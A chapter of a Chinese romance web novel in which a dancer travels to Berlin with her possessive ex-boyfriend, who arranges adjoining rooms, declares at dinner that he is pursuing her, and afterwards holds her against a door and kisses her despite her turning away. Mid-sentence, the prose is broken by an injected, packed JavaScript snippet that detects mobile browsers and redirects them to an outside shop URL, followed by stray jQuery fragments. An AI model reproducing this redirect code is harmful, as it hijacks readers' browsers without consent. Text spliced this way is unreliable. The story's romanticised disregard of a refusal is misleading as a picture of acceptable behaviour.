落地柏林时,风雪刚停。
古老的建筑被白雪覆盖,神圣又神秘。
接他们的车,早就候在航站楼前,保镖一路护送他们上车,可谓是贴心。
车子缓慢行驶在庄严肃穆的大街上,沈孟峥勾了勾她的手指,温声问:“想出去走走吗?”
他似乎看穿了她眼中想要近距离欣赏这座城市的渴望。
尽管她很想看一看,但不想和他一起。
异国他乡,风雪交加,两个旧情人一起漫步街头,光是想想就觉得暧昧,何况他还直言不讳地说要追她。
她若是答应和他一起走走,那跟告诉他,她允许他追她有什么区别。
不想一步步沦陷他精心编织的圈套里,赵舒晴抽回被他勾住的手指,摇了摇头:“我想回酒店休息。”
“那改天。”沈孟峥不强求,让司机送他们回酒店。
赵舒晴一直以为住处是明琼给安排的,但办理入住时又觉得不像。
她和沈孟峥房间紧挨着,订的是豪华套间。她来这里是常住,不是观光,给她订这么好的房间,怎么看都不像是明琼的手笔,反倒像眼前这个男人为了方便……
一墙之隔,光是想想她就要寝食难安了。
赵舒晴不想住,跟前台说换一个房间。
前台婉拒了她,意思是他们这里房间都是提前预订,房费也是提前付过的,她如果想换,需要等,房费也是不退的。
简直是霸王条款。
赵舒晴不知道是这家酒店的服务差,还是提前对好的说辞,总之她心里很不爽。
沈孟峥的反应和她完全不同,他再次把手搭在她的腰上,亲昵地搂着她:“走吧,旅游旺季,房间本就难订,别难为她了。”
他倒是会当好人,让她别为难前台,那他怎么就非要为难她呢!
赵舒晴甩开他,拉着行李箱头也不回地往前走。
沈孟峥不紧不慢地跟上。
他从容优雅,游刃有余,似乎笃定无论她怎么挣扎,都逃不出他的掌控。
告别时,他脚步停在她的门前,慢条斯理地说:“好好休息,晚点一起吃饭。”
“我不去。”赵舒晴下意识拒绝。
他们俩有什么必要一起吃饭!
沈孟峥却给出她不得不去的理由:“明琼组局,为我们接风,赵老师要拒绝吗?”
赵舒晴:“……”
沈孟峥对她的反应非常满意,又凑上前来揉了揉她的头:“那……晚点我来接你。”
他嘴上是这么说的,人却一直没有离开,定住在她面前,深邃的眼眸里盛满期待,像是特别希望她能邀请他进去坐一坐。
看得她莫名心慌,总有种失去控制的感觉。
赵舒晴假装看不懂,用最快的速度完成开关门的动作,把那个扰乱人心的男人隔绝在门外。
沈孟峥看得莫名想笑。
她的反应,他很满意。
会慌,说明在意,比起她不耐烦地对待他,他更怕她用冷冰冰的眼神看着他。
赵舒晴回屋躺了一会儿。
虽然说这一路奔波的时间很长,但她并不怎么累,沈孟峥还是像以前那么会照顾人,一路都把她照顾得很好。
能看出他在极力讨好她。
一起长大的经历,让他们对彼此知根知底,她抽血皮肤会淤青的事,他也仍旧记得。
路上,他每隔一个小时就要帮她冰敷一次,紧张模样,不断勾起她心里那些柔软的记忆,让她想要恨他都恨不起来。
晚上要和明琼碰面,赵舒晴只躺了一会儿便从沙发上弹起来,把自己从头到脚收拾一番。
一袭羊绒连衣短裙,半高领的剪裁恰好掩住颈侧未褪的吻痕,外披一件长款毛呢大衣,脚下踩着及膝皮靴。
飒爽利落的穿搭,裹住她身为舞者独有的纤细柔美身段,媚而不俗,勾魂摄魄。
再见她时,沈孟峥喉结不自觉地滚了滚,目光黏在她身上,声音沉了几分:“打扮得这么漂亮,是给我看的?”
“你想得美!”
赵舒晴丢给他一个白眼,“得体的着装是对合作者最起码的尊重。”
沈孟峥怎么可能不懂这些。
他就是想逗她,想看她着急,因他失控。
“是吗?”他漫不经心地说,“以后见我,请也按照这个标准来打扮。”
赵舒晴:“……”
她理都不理他,绕过他往前走。
沈孟峥紧随其后,又一次抛出一个让她抓狂的问题:“给你的协议,打算什么时候签?”
“我不会签的。”
赵舒晴想也不想就回绝了他。
现在,她的工作室正在朝着好的方向发展,即使没有他的加入,她也能维持工作室的正常运转,她相信,以后只要能拿出好的作品,他们会被越来越多人看到。
“给你条康庄大道你都不会走。”沈孟峥气得送了她两个字,“犟种。”
“我乐意。”赵舒晴还挺喜欢这个称呼的。
她没觉得犟种没什么不好,在她的认知里,只要在做对的事,缓一点,慢一点,那又如何。靠自己争取来的,比起别人给的,总归踏实。
晚餐,明琼做东。
她见到她,像见到久违的老朋友一样,热情地献上贴面礼:“好久不见,舒晴。”
真要算起来,这才是她和明琼第二次见面,实际算不得熟。
面对如此热情的明琼,赵舒晴有些不习惯。但出于礼貌,她还是与她相拥,回应着:“好久不见。”
沈孟峥和明琼打招呼的方式就自然多了。
他避开明琼的拥抱,含笑望向她,玩笑道:“我家小猫占有欲极强,拥抱就免了。”
他一句话,激起了明琼的好奇。
她的目光在她和沈孟峥身上来回穿梭,不敢置信地问:“孟峥,舒晴,你俩有情况?”
赵舒晴矢口否认:“没有。”
沈孟峥淡淡地“嗯”了一声。
他轻声地答应,比她焦急地拒绝,听上去更有分量。明琼不信她,反倒是信了他:“孟峥,你在追舒晴。”
明琼用的是肯定句。
沈孟峥也没有藏着掖着:“我来柏林,是为了她。”
这样的答复够直接,他在机场跟她说的来工作的说法彻底变成一个笑话。
明琼听后,热情地拉过她的手,话却对着沈孟峥说的:“我就说嘛,你这么个大忙人,怎么会有空跑到柏林帮我,我该好好谢谢舒晴。”
明琼牵着她落座,给她倒一杯红酒,对她举杯,“看来舒晴不仅是我的知音,还是我的福星,第一杯,敬你。”
赵舒晴完全听不懂明琼在说什么。
她想不到沈孟峥能给明琼帮上什么忙。
尽管不明白,但她也不会傻地在现在问。
她和明琼没那么熟,明琼很照顾她不假,但她清楚,很大一部分原因是看沈孟峥的面子。
赵舒晴举起酒杯,和明琼碰了碰。
明琼只邀请了她和沈孟峥,还有郝宁三人,倒不算拘束。
从他们的谈话中,赵舒晴得知明琼是郝宁的小姨,明琼会和沈孟峥认识,也是因为郝宁。
但过程是什么,他们没有提。
明琼也没有拿她和沈孟峥的关系打趣他们,短暂的客套之后,话题围绕着接下来的演出展开。
这是赵舒晴目前最关心也最想聊的话题。
她和明琼在线上聊了那么久,对彼此想法都有一定了解,但很多问题,还是当面碰更能聊得清楚,明琼显然也是这么认为,她们又一起聊了很多细节的东西,越聊越开心。
都说认真工作的男人迷人,但认真工作的女人比男人还要迷人。
赵舒晴细细软软一个姑娘,谈起和艺术有关的话题时,却给人一种行业巨擘的感觉。
她真的很专业,也很通透,不仅仅是对舞蹈领域了如指掌,对建筑设计和场景搭建也有独特的见解。
她能随口说出清水混凝土美学,又能分析光影在建筑空间里的叙事性,在她的观点里,建筑是凝固的舞蹈,舞蹈是流动的建筑,两者之美,并无分别。
说到场景搭建,她也能准确提出对留白处的光影、台阶的高度、幕布的垂坠感等细节的具体要求。
这般跨界的通透,不是死记硬背地堆砌,而是真正吃透了艺术的共通性。
任谁也能看出她细细软软的皮囊下,藏着一颗对美极度敏锐且清醒的灵魂。
郝宁不懂艺术,却忍不住惊叹:“这姑娘,是块被老天爷追着喂饭的好料子,难道她黑料满天飞,却依旧有那么多死忠粉维护她,真是但凡了解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066151|187873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她一点,很难不为她的魅力折服。”
沈孟峥赞同郝宁的话。
赵舒晴自小就这样,魅力无限。聊起喜欢的东西时,眼神亮得惊人,整个人都好似在发光,让人忍不住一直把目光凝注在她的身上。
他从小就不喜欢那些觊觎她的目光。
郝宁眼中透出的欣赏,又一次刺痛了沈孟峥想要独占她的心。
他漫不经心地转动手里的酒杯:“还是第一次听师兄夸女孩,喜欢她?”
他是疯了才会喜欢赵舒晴!
沈孟峥的占有欲有多强,郝宁是知道的,所有事他都能跟沈孟峥开玩笑,唯独有关赵舒晴的事,在沈孟峥这里经不得一点玩笑。
郝宁别开落在赵舒晴脸上的目光,尴尬地笑了笑。
他知道沈孟峥想听什么,但他说不出那句不喜欢,像赵舒晴这样的女孩,很难有人不喜欢,他只能说一句:“我对她的喜欢,和你对她的喜欢不同。”
沈孟峥闷头喝着杯中酒,什么也没说。
赵舒晴和明琼完全没有注意到两个男人之间的摩擦。
一顿饭的时间,她们又理出很多新思路,恨不能立刻到剧场进行排练。
聊到最后,明琼终于想起桌上的两个男人,她对沈孟峥笑道:“孟峥,我和舒晴的想法,你都听见了吗?”
沈孟峥微微点头。
明琼对他竖了个大拇指:“那么接下来的实现,就靠你了。”
沈孟峥一口答应:“没问题。”
赵舒晴听得不是很懂。
明琼的意思是要沈孟峥实现她们的想法,华织是搞家纺家饰的企业,参与场地搭建也算是对口,但搭建他们的想法,似乎不在沈孟峥的专业领域。
赵舒晴心里有许多疑问,但没有人跟她解释。
结束晚餐,明琼拉着郝宁一起离开,似乎想为他们创造相处空间。
沈孟峥没觉得有什么不妥,很自然地过来扶她:“我送你回去。”
喝过酒的身体有点沉,即使只喝了一杯,赵舒晴仍感觉酒意,被他一扶,她下意识想躲。
沈孟峥看穿她的意图,在她后退时,扯了一把。
赵舒晴猝不及防,凭借惯性,失控地撞下他。
被他抱了个满怀。
沈孟峥得了便宜还卖乖:“喝多了就老实点,乱动什么。”
他嘴上嫌弃她,手却紧紧揽着她的腰,拥着她往外走。
上车之后手也没松,一直揽着她,拥进酒店。
今晚,沈孟峥也喝酒了,木质香和酒气混杂在一起,扰得人荷尔蒙躁动。
赵舒晴一路都想从他手中逃脱,但无论她多么努力想挣开他,都挣不开。
沈孟峥的手臂,像镣铐一样,紧紧把她束缚在怀里,一直到酒店也没有松开。
他缠着她,把她按在门板上。
独属于他的气息,一个劲地往她鼻子里窜,在酒精的催动下,这气息像迷药一样,扰得她神志都乱了。
“赵舒晴。”他轻声呢喃她的名字,声线里透着股莫名的委屈。
她不理他,他低下头,用高挺的鼻尖抵着她的,认认真真地说了句:“和好吧。”
他贴着她这么近,一开口,温热的呼吸洒了她一脸。
酒气盖过他身上的香气,赵舒晴终于意识到他今晚可能不止喝了一点。
但具体喝了多少,她真不知道,光顾着和明琼聊天了。
不过即使不聊天,她应该也不会关注他。
她压根就不敢关注他,怕目光望向他时,会被他识破她心中的在乎。
为了不被看穿,她只能装作不在意。
可现在,他这么认真地征求她的意见,她真的很慌。
她知道,只要她轻轻点点头,他的吻立马会落下来,带着征服欲吻遍她每一寸皮肤,将她从头到尾打上他的烙印。
身体不停战栗,每一寸皮肤都在呼喊着想要他。
可她再想,也不敢逾越他们之间的界限。她知道一旦越界,再想把这个男人甩掉,不是件容易事。
赵舒晴偏头,拒绝了他的提议。
鼻尖没了支撑,沈孟峥撞进她的颈窝。
她的无声拒绝和郝宁未说出口的喜欢,在脑海里反复交织。
不甘心再做旁观者,沈孟峥张口吻上她的皮肤。